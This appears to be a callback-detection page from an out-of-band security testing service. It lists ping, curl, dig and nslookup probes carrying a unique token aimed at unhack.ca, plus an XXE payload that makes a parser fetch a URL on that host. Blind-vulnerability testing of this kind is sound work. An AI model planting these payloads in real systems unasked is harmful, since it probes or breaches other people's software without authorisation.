$ ping -c1 -p 000bf4331d9dc0fa50547966148fa900 unhack.ca
 
$ curl http://unhack.ca/p/0bf4331d9dc0fa50547966148fa9
 
$ dig 0bf4331d9dc0fa50547966148fa9 @unhack.ca
 
$ dig 0bf4331d9dc0fa50547966148fa9.ns.unhack.ca
 
C:\> nslookup 0bf4331d9dc0fa50547966148fa9 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0bf4331d9dc0fa50547966148fa9">]>
    <foo>&xxe;</foo>
 
Waiting for ping...